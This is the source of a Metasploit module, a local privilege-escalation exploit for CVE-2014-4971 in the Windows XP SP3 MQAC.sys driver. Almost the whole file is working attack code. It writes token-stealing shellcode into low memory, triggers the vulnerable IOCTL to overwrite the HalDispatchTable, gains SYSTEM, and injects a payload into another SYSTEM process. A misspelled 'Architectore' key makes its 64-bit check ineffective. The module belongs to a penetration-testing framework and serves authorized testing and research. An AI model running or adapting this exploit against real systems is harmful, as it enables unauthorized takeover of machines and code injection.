metasploit-framework/modules/exploits/windows/local/mqac_write.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'MQAC.sys Arbitrary Write Privilege Escalation',
      'Description'    => %q{
        A vulnerability within the MQAC.sys module allows an attacker to
        overwrite an arbitrary location in kernel memory.

        This module will elevate itself to SYSTEM, then inject the payload
        into another SYSTEM process.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Matt Bergin', # original exploit and all the hard work
          'Spencer McIntyre' # MSF module
        ],
      'Arch'           => [ ARCH_X86 ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC'   => 'thread',
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba,
              'HalpSetSystemInformation' => 0x19436,
              '_KPROCESS' => "\x44",
              '_TOKEN' => "\xc8",
              '_UPID' => "\x84",
              '_APLINKS' => "\x88"
            }
          ],
        ],
      'References'    =>
        [
          [ 'CVE', '2014-4971' ],
          [ 'EDB', '34112' ],
        ],
      'DisclosureDate'=> 'Jul 22 2014',
      'DefaultTarget' => 0
    }))
  end

  def find_sys_base(drvname)
    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
    session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

    addresses.each do |address|
      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
      current_drvname = results['lpBaseName'][0..results['return'] - 1]
      if drvname == nil
        if current_drvname.downcase.include?('krnl')
          return [address, current_drvname]
        end
      elsif drvname == results['lpBaseName'][0..results['return'] - 1]
        return [address, current_drvname]
      end
    end
  end

  # Function borrowed from smart_hashdump
  def get_system_proc
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid("S-1-5-18")
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p["name"])
      next if p["pid"] == session.sys.process.getpid
      next if p["pid"] == 4
      next if p["user"] != system_account_name
      return p
    end
  end

  def open_device
    handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
    if handle['return'] == 0
      print_error('Failed to open the \\.\MQAC device')
      return nil
    end
    handle = handle['return']
  end

  def check
    handle = open_device
    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)

    os = sysinfo["OS"]
    case os
    when /windows xp.*service pack 3/i
      return Exploit::CheckCode::Appears
    when /windows xp/i
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    if sysinfo["Architecture"] =~ /wow64/i
      print_error("Running against WOW64 is not supported")
      return
    elsif sysinfo["Architectore"] =~ /x64/
      print_error("Running against 64-bit systems is not supported")
      return
    end

    if is_system?
      print_error("This meterpreter session is already running as SYSTEM")
      return
    end

    this_proc = session.sys.process.open
    kernel_info = find_sys_base(nil)
    base_addr = 0xffff
    print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

    handle = open_device
    return if handle.nil?

    if not this_proc.memory.writable?(base_addr)
      result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
    end
    if not this_proc.memory.writable?(base_addr)
      print_error('Failed to properly allocate memory')
      return
    end

    hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    hKernel = hKernel['return']
    halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
    halDispatchTable = halDispatchTable['return']
    halDispatchTable -= hKernel
    halDispatchTable += kernel_info[0]
    print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")

    tokenstealing  = "\x31\xc0"
    tokenstealing << "\x52"
    tokenstealing << "\x53"
    tokenstealing << "\x33\xc0"
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
    tokenstealing << "\x8b\x40" + target['_KPROCESS']
    tokenstealing << "\x8b\xc8"
    tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00"
    tokenstealing << "\x89\x1d\x00\x09\x02\x00"
    tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"
    tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"
    tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
    tokenstealing << "\x75\xe8"
    tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"
    tokenstealing << "\x8b\xc1"
    tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"
    tokenstealing << "\x5b"
    tokenstealing << "\x5a"
    tokenstealing << "\xc2\x10"

    shellcode = make_nops(0x200) + tokenstealing
    this_proc.memory.write(0x1, shellcode)

    print_status("Triggering vulnerable IOCTL")
    session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    if not is_system?
      print_error("Exploit failed")
      return
    end

    begin
      proc = get_system_proc
      print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
      host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
      mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))

      print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
      host_process.memory.write(mem, payload.encoded)
      host_process.thread.create(mem, 0)
    rescue ::Exception => e
      print_error("Failed to Inject Payload")
      print_error(e.to_s)
    end
  end

end